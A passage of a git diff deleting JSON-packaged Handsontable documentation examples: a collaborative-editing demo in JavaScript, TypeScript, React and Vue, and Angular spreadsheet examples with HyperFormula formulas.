    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// register all Handsontable's modules\nregisterAllModules();\nconst container = document.querySelector('#example1');\nconst statusText = document.querySelector('#remote-update-status');\n// marks a change as coming from another collaborator, so it isn't broadcast again\nconst REMOTE_SOURCE = 'remotePeer';\nconst hot = new Handsontable(container, {\n data: [\n ['Update onboarding flow', 'Ana García', 'In progress'],\n ['Fix invoice rounding bug', 'James Okafor', 'Blocked'],\n ['Write Q3 release notes', 'Li Wei', 'In progress'],\n ['Migrate auth service', 'Sofia Rossi', 'Done'],\n ['Design empty states', 'Diego Fernández', 'In progress'],\n ],\n colHeaders: ['Task', 'Assignee', 'Status'],\n rowHeaders: true,\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n beforeChange(changes, source) {\n if (source === REMOTE_SOURCE || !changes) {\n return;\n }\n changes.forEach(([row, column, , newValue]) => {\n // send the local edit to your collaboration backend here\n console.log('Broadcasting local edit:', row, column, newValue);\n });\n },\n});\nfunction applyRemoteChange(row, column, value) {\n const editor = hot.getActiveEditor();\n const editingSameCell = editor?.isOpened() && editor.row === row && editor.col === column;\n if (editingSameCell) {\n // don't overwrite a cell the local user is editing right now -\n // check again shortly, and apply the change once the local edit finishes\n setTimeout(() => applyRemoteChange(row, column, value), 300);\n return;\n }\n hot.setDataAtCell(row, column, value, REMOTE_SOURCE);\n statusText.textContent = 'A collaborator marked \"Update onboarding flow\" as Done.';\n}\n// simulate an update coming from another collaborator - start editing the Status\n// cell in the first row before the timeout fires to see the update wait for you\nstatusText.textContent = 'A remote update to the first row arrives in 3 seconds.';\nsetTimeout(() => applyRemoteChange(0, 2, 'Done'), 3000);","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/data-management/collaboration/javascript/example1.js","breadcrumb":["Data Management","Handling collaboration and simultaneous editing"],"guide":"guides/data-management/collaboration/collaboration.md","guideTitle":"Handling collaboration and simultaneous editing","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/collaboration","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__data-management__collaboration__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__data-management__collaboration__javascript__example1.ts.json deleted file mode 100644 index d50325af..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__data-management__collaboration__javascript__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Data Management ▸ Handling collaboration and simultaneous editing · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n

    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register all Handsontable's modules\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\nconst statusText = document.querySelector('#remote-update-status')!;\n\n// marks a change as coming from another collaborator, so it isn't broadcast again\nconst REMOTE_SOURCE = 'remotePeer';\n\nconst hot = new Handsontable(container, {\n data: [\n ['Update onboarding flow', 'Ana García', 'In progress'],\n ['Fix invoice rounding bug', 'James Okafor', 'Blocked'],\n ['Write Q3 release notes', 'Li Wei', 'In progress'],\n ['Migrate auth service', 'Sofia Rossi', 'Done'],\n ['Design empty states', 'Diego Fernández', 'In progress'],\n ],\n colHeaders: ['Task', 'Assignee', 'Status'],\n rowHeaders: true,\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n beforeChange(changes, source) {\n if (source === REMOTE_SOURCE || !changes) {\n return;\n }\n\n changes.forEach(([row, column, , newValue]) => {\n // send the local edit to your collaboration backend here\n console.log('Broadcasting local edit:', row, column, newValue);\n });\n },\n});\n\nfunction applyRemoteChange(row: number, column: number, value: string) {\n const editor = hot.getActiveEditor();\n const editingSameCell = editor?.isOpened() && editor.row === row && editor.col === column;\n\n if (editingSameCell) {\n // don't overwrite a cell the local user is editing right now -\n // check again shortly, and apply the change once the local edit finishes\n setTimeout(() => applyRemoteChange(row, column, value), 300);\n\n return;\n }\n\n hot.setDataAtCell(row, column, value, REMOTE_SOURCE);\n statusText.textContent = 'A collaborator marked \"Update onboarding flow\" as Done.';\n}\n\n// simulate an update coming from another collaborator - start editing the Status\n// cell in the first row before the timeout fires to see the update wait for you\nstatusText.textContent = 'A remote update to the first row arrives in 3 seconds.';\nsetTimeout(() => applyRemoteChange(0, 2, 'Done'), 3000);","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/data-management/collaboration/javascript/example1.ts","breadcrumb":["Data Management","Handling collaboration and simultaneous editing"],"guide":"guides/data-management/collaboration/collaboration.md","guideTitle":"Handling collaboration and simultaneous editing","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/collaboration","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__data-management__collaboration__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/guides__data-management__collaboration__react__example1.tsx.json deleted file mode 100644 index c10293ed..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__data-management__collaboration__react__example1.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Data Management ▸ Handling collaboration and simultaneous editing · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useEffect, useRef, useState } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\n// marks a change as coming from another collaborator, so it isn't broadcast again\nconst REMOTE_SOURCE = 'remotePeer';\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n const [statusText, setStatusText] = useState('A remote update to the first row arrives in 3 seconds.');\n\n const applyRemoteChange = (row: number, column: number, value: string) => {\n const hot = hotRef.current?.hotInstance;\n const editor = hot?.getActiveEditor();\n const editingSameCell = editor?.isOpened() && editor.row === row && editor.col === column;\n\n if (editingSameCell) {\n // don't overwrite a cell the local user is editing right now -\n // check again shortly, and apply the change once the local edit finishes\n setTimeout(() => applyRemoteChange(row, column, value), 300);\n\n return;\n }\n\n hot?.setDataAtCell(row, column, value, REMOTE_SOURCE);\n setStatusText('A collaborator marked \"Update onboarding flow\" as Done.');\n };\n\n useEffect(() => {\n // simulate an update coming from another collaborator - start editing the Status\n // cell in the first row before the timeout fires to see the update wait for you\n const timeoutId = setTimeout(() => applyRemoteChange(0, 2, 'Done'), 3000);\n\n return () => clearTimeout(timeoutId);\n }, []);\n\n return (\n <>\n
    \n

    {statusText}

    \n
    \n {\n if (source === REMOTE_SOURCE || !changes) {\n return;\n }\n\n changes.forEach(([row, column, , newValue]) => {\n // send the local edit to your collaboration backend here\n console.log('Broadcasting local edit:', row, column, newValue);\n });\n }}\n />\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/data-management/collaboration/react/example1.tsx","breadcrumb":["Data Management","Handling collaboration and simultaneous editing"],"guide":"guides/data-management/collaboration/collaboration.md","guideTitle":"Handling collaboration and simultaneous editing","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/collaboration","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__data-management__collaboration__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/guides__data-management__collaboration__vue__example1.vue.json deleted file mode 100644 index 5f19a52d..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__data-management__collaboration__vue__example1.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Data Management ▸ Handling collaboration and simultaneous editing · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/data-management/collaboration/vue/example1.vue","breadcrumb":["Data Management","Handling collaboration and simultaneous editing"],"guide":"guides/data-management/collaboration/collaboration.md","guideTitle":"Handling collaboration and simultaneous editing","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/collaboration","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__angular__example1.ts.json deleted file mode 100644 index a15be466..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__angular__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Formulas ▸ Formula calculation · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"hyperformula\": \"latest\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\nimport {HyperFormula} from 'hyperformula';\n\n@Component({\n selector: 'app-example1',\n template: `\n

    Sheet 1

    \n \n \n\n

    Sheet 2

    \n \n \n `,\n styles: `\n h3.demo-preview {\n margin-bottom: 0.3rem !important;\n padding-top: 0 !important;\n margin-top: 0.5rem !important;\n }\n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n // create an external HyperFormula instance\n readonly hyperformulaInstance = HyperFormula.buildEmpty({\n // to use an external HyperFormula instance,\n // initialize it with the `'internal-use-in-handsontable'` license key\n licenseKey: 'internal-use-in-handsontable',\n });\n\n readonly hotData1 = [\n ['10.26', null, 'Sum', '=SUM(A:A)'],\n ['20.12', null, 'Average', '=AVERAGE(A:A)'],\n ['30.01', null, 'Median', '=MEDIAN(A:A)'],\n ['40.29', null, 'MAX', '=MAX(A:A)'],\n ['50.18', null, 'MIN', '=MIN(A1:A5)'],\n ];\n\n readonly hotSettings1: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: this.hyperformulaInstance,\n sheetName: 'Sheet1',\n },\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n\n readonly hotData2 = [\n ['Is A1 in Sheet1 > 10?', '=IF(Sheet1!A1>10,\"TRUE\",\"FALSE\")'],\n ['Is A:A in Sheet > 150?', '=IF(SUM(Sheet1!A:A)>150,\"TRUE\",\"FALSE\")'],\n ['How many blank cells are in the Sheet1?', '=COUNTBLANK(Sheet1!A1:D5)'],\n ['Generate a random number', '=RAND()'],\n ['Number of sheets in this workbook', '=SHEETS()'],\n ];\n\n readonly hotSettings2: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: this.hyperformulaInstance,\n sheetName: 'Sheet2',\n },\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/formulas/formula-calculation/angular/example1.ts","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/formula-calculation","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__angular__example2.ts.json deleted file mode 100644 index daf7466a..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__angular__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Formulas ▸ Formula calculation · Data grid example (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"hyperformula\": \"latest\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\nimport {HyperFormula} from 'hyperformula';\n\n@Component({\n selector: 'app-example2',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['150', '643', '0.32', '11', '=A1*(B1*C1)+D1'],\n ['172', '474', '0.51', '11', '=A2*(B2*C2)+D2'],\n ['188', '371', '0.59', '11', '=A3*(B3*C3)+D3'],\n ['162', '731', '0.21', '10', '=A4*(B4*C4)+D4'],\n ['133', '682', '0.81', '9', '=A5*(B5*C5)+D5'],\n ['87', '553', '0.66', '10', '=A6*(B6*C6)+D6'],\n ['26', '592', '0.62', '11', '=A7*(B7*C7)+D7'],\n ['110', '461', '0.73', '9', '=A8*(B8*C8)+D8'],\n ['50', '346', '0.52', '15', '=A9*(B9*C9)+D9'],\n ['160', '423', '0.82', '11', '=A10*(B10*C10)+D10'],\n ['30', '216', '0.26', '9', '=A11*(B11*C11)+D11'],\n ['39', '473', '0.44', '5', '=A12*(B12*C12)+D12'],\n ['96', '490', '0.43', '5', '=A13*(B13*C13)+D13'],\n ['108', '176', '0.71', '7', '=A14*(B14*C14)+D14'],\n ['46', '586', '0.01', '14', '=A15*(B15*C15)+D15'],\n ['97', '514', '0.7', '14', '=A16*(B16*C16)+D16'],\n ['161', '717', '0.01', '13', '=A17*(B17*C17)+D17'],\n ['58', '123', '0.4', '8', '=A18*(B18*C18)+D18'],\n ['92', '739', '0.76', '14', '=A19*(B19*C19)+D19'],\n ['5', '320', '0.52', '13', '=A20*(B20*C20)+D20'],\n ['158', '480', '0.65', '5', '=A21*(B21*C21)+D21'],\n ['121', '373', '0.66', '8', '=A22*(B22*C22)+D22'],\n ['61', '704', '0.95', '7', '=A23*(B23*C23)+D23'],\n ['155', '452', '0.71', '10', '=A24*(B24*C24)+D24'],\n ['162', '693', '0.73', '11', '=A25*(B25*C25)+D25'],\n ['46', '75', '0.14', '15', '=A26*(B26*C26)+D26'],\n ['47', '691', '0.58', '15', '=A27*(B27*C27)+D27'],\n ['104', '346', '0.04', '7', '=A28*(B28*C28)+D28'],\n ['101', '717', '0.87', '5', '=A29*(B29*C29)+D29'],\n ['150', '487', '0.26', '15', '=A30*(B30*C30)+D30'],\n ['42', '465', '0.09', '14', '=A31*(B31*C31)+D31'],\n ['144', '337', '0.72', '7', '=A32*(B32*C32)+D32'],\n ['195', '138', '0.3', '6', '=A33*(B33*C33)+D33'],\n ['199', '717', '0.16', '6', '=A34*(B34*C34)+D34'],\n ['110', '236', '0.91', '9', '=A35*(B35*C35)+D35'],\n ['51', '351', '0.81', '13', '=A36*(B36*C36)+D36'],\n ['69', '221', '0.64', '9', '=A37*(B37*C37)+D37'],\n ['53', '125', '0.28', '12', '=A38*(B38*C38)+D38'],\n ['168', '428', '0.68', '9', '=A39*(B39*C39)+D39'],\n ['58', '361', '0.36', '5', '=A40*(B40*C40)+D40'],\n ['152', '213', '0.13', '13', '=A41*(B41*C41)+D41'],\n ['66', '431', '0.93', '10', '=A42*(B42*C42)+D42'],\n ['112', '108', '0.5', '14', '=A43*(B43*C43)+D43'],\n ['50', '127', '0.7', '7', '=A44*(B44*C44)+D44'],\n ['31', '200', '0.15', '14', '=A45*(B45*C45)+D45'],\n ['132', '654', '0.81', '8', '=A46*(B46*C46)+D46'],\n ['45', '438', '0.79', '6', '=A47*(B47*C47)+D47'],\n ['197', '615', '0.63', '7', '=A48*(B48*C48)+D48'],\n ['190', '592', '0.37', '8', '=A49*(B49*C49)+D49'],\n ['184', '419', '0.78', '8', '=A50*(B50*C50)+D50'],\n ['169', '58', '0.13', '7', '=A51*(B51*C51)+D51'],\n ['152', '324', '0.58', '5', '=A52*(B52*C52)+D52'],\n ['182', '713', '0.53', '5', '=A53*(B53*C53)+D53'],\n ['141', '576', '0.63', '12', '=A54*(B54*C54)+D54'],\n ['169', '429', '0.14', '13', '=A55*(B55*C55)+D55'],\n ['39', '694', '0.98', '13', '=A56*(B56*C56)+D56'],\n ['71', '361', '0.3', '13', '=A57*(B57*C57)+D57'],\n ['148', '540', '0.89', '6', '=A58*(B58*C58)+D58'],\n ['116', '52', '0.3', '7', '=A59*(B59*C59)+D59'],\n ['96', '395', '0.28', '7', '=A60*(B60*C60)+D60'],\n ['35', '222', '0.86', '13', '=A61*(B61*C61)+D61'],\n ['16', '430', '0.8', '8', '=A62*(B62*C62)+D62'],\n ['194', '357', '0.72', '9', '=A63*(B63*C63)+D63'],\n ['24', '498', '0.7', '7', '=A64*(B64*C64)+D64'],\n ['170', '142', '0.52', '5', '=A65*(B65*C65)+D65'],\n ['184', '614', '0.68', '9', '=A66*(B66*C66)+D66'],\n ['153', '524', '0.15', '9', '=A67*(B67*C67)+D67'],\n ['88', '620', '0.39', '15', '=A68*(B68*C68)+D68'],\n ['57', '452', '0.11', '6', '=A69*(B69*C69)+D69'],\n ['62', '493', '0.03', '11', '=A70*(B70*C70)+D70'],\n ['123', '431', '0.75', '15', '=A71*(B71*C71)+D71'],\n ['77', '113', '0.63', '12', '=A72*(B72*C72)+D72'],\n ['199', '208', '0.07', '6', '=A73*(B73*C73)+D73'],\n ['149', '514', '0.42', '12', '=A74*(B74*C74)+D74'],\n ['191', '334', '0.78', '13', '=A75*(B75*C75)+D75'],\n ['150', '643', '0.32', '11', '=A76*(B76*C76)+D76'],\n ['130', '721', '0.62', '5', '=A77*(B77*C77)+D77'],\n ['179', '517', '0.1', '8', '=A78*(B78*C78)+D78'],\n ['98', '31', '0.01', '10', '=A79*(B79*C79)+D79'],\n ['175', '509', '0.7', '11', '=A80*(B80*C80)+D80'],\n ['11', '569', '0.37', '7', '=A81*(B81*C81)+D81'],\n ['184', '630', '0.19', '6', '=A82*(B82*C82)+D82'],\n ['27', '165', '0.51', '13', '=A83*(B83*C83)+D83'],\n ['186', '417', '0.85', '15', '=A84*(B84*C84)+D84'],\n ['20', '741', '0.76', '11', '=A85*(B85*C85)+D85'],\n ['153', '640', '0.28', '6', '=A86*(B86*C86)+D86'],\n ['161', '542', '0.43', '14', '=A87*(B87*C87)+D87'],\n ['98', '344', '0.77', '6', '=A88*(B88*C88)+D88'],\n ['30', '400', '0.71', '13', '=A89*(B89*C89)+D89'],\n ['73', '91', '0.78', '8', '=A90*(B90*C90)+D90'],\n ['158', '72', '0.66', '12', '=A91*(B91*C91)+D91'],\n ['122', '35', '0.32', '15', '=A92*(B92*C92)+D92'],\n ['33', '99', '0.92', '9', '=A93*(B93*C93)+D93'],\n ['107', '538', '0.75', '10', '=A94*(B94*C94)+D94'],\n ['15', '563', '0.32', '6', '=A95*(B95*C95)+D95'],\n ['168', '572', '0.71', '6', '=A96*(B96*C96)+D96'],\n ['135', '217', '0.49', '12', '=A97*(B97*C97)+D97'],\n ['11', '595', '0.03', '13', '=A98*(B98*C98)+D98'],\n ['41', '739', '0.88', '11', '=A99*(B99*C99)+D99'],\n ['144', '289', '0.87', '13', '=A100*(B100*C100)+D100'],\n ['Sum', 'Average', 'Average', 'Sum', 'Sum'],\n [\n '=SUM(A1:A100)',\n '=AVERAGE(B1:B100)',\n '=AVERAGE(C1:C100)',\n '=SUM(D1:D100)',\n '=SUM(E1:E100)',\n ],\n ];\n\n readonly hotSettings: GridSettings = {\n formulas: {\n engine: 